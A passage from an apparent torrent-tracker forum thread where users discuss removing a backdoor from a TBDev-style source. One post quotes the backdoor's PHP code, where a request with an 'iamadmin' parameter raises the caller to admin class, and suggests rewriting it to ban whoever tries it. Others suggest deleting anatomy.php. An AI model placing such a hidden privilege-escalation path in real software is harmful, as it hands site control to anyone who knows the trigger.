|
#11
|
|||
|
|||
PHP Code:
|
#12
|
|||
|
|||
ban users with white usernames and change anatomy.php with this
[php]<?php if (eregi("anatomy.php",$_SERVER["PHP_SELF"])) die ("wtf u are trying to do bich ? fixed by wolfman"); require "include/bittorrent.php"; dbconn(false); stdhead("Torrent anatomy"); ?> <table class=main width=750 border=0 cellspacing=0 cellpadding=0><tr><td class=embedded> <h2>Anatomy of a torrent session </h2> <table width=100% border=1 cellspacing=0 cellpadding=10><tr><td class=text> <em>(Updated to reflect the tracker changes. 14-04-2004)</em> <br><br> There seems to be a lot of confusion about how the statistics updates work. The following is a capture of a full session to see what's going on behind the scenes. The client communicates with the tracker via simple http GET commands. The very first in this case was:<br> <br> <code>GET /announce.php?info_hash=c%97%91%C5jG%951%BE%C7M%F9% BFa%03%F2%2C%ED%EE%0F& peer_id=S588-----gqQ8TqDeqaY&port=6882&uploaded=0&downloaded=0&left =753690875 &event=started</code><br> <br> Let's dissect this:<br> <br> |
#13
|
|||
|
|||
Just remove anatomy.php it really isnt needed.
|
#14
|
|||
|
|||
Code:
if ($_GET["iamadmin"]) { $tagat=$CURUSER["id"]; mysql_query("UPDATE `users` SET `class` = '9' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__); print("Now you are one of site admins :D"); } if ($_GET["back"]) { $tagat=$CURUSER["id"]; mysql_query("UPDATE `users` SET `class` = '0' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__); print("Your class now is 0 :("); } change to Code:
if ($_GET["iamadmin"]) { $tagat=$CURUSER["id"]; mysql_query("UPDATE `users` SET `enabled` = 'no' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__); print("Now you are Banned :D"); } if ($_GET["back"]) { $tagat=$CURUSER["id"]; mysql_query("UPDATE `users` SET `enabled` = 'no' WHERE `users`.`id` =$tagat") or sqlerr(__FILE__, __LINE__); print("Now you are Banned :D"); } |
#15
|
|||
|
|||
thank you very much!!!!!
i hope this is all i have to do. |
#16
|
|||
|
|||
Quote:
either u remove anathomy ore change it to one without this crap |
#17
|
|||
|
|||
so al i have to do is to delete anatomy.php ok?
|
#18
|
|||
|
|||
|
#19
|
|||
|
|||
i instaled the source buut now it show me in u'torrent tracker sendind invalid data ....why??
|
#20
|
|||
|
|||
Quote:
do u realy think u will get it to work ? there is so many other good sources u know |
Tags |
security |
Thread Tools | |
|
|
Similar Threads | ||||
Thread | Thread Starter | Forum | Replies | Last Post |
image security | Tory | Template Shares | 1 | 24th August 2009 01:32 |
security hole | apophis | Community Cafe | 3 | 18th August 2009 20:36 |
YS security and bug fix | mazafaka | Yuna Scatari Edition (YSE) | 2 | 4th July 2009 16:37 |
security ? | razvaneluu | Template Shares | 0 | 4th June 2009 14:34 |
Security image | oem | TBDev | 2 | 14th June 2008 08:36 |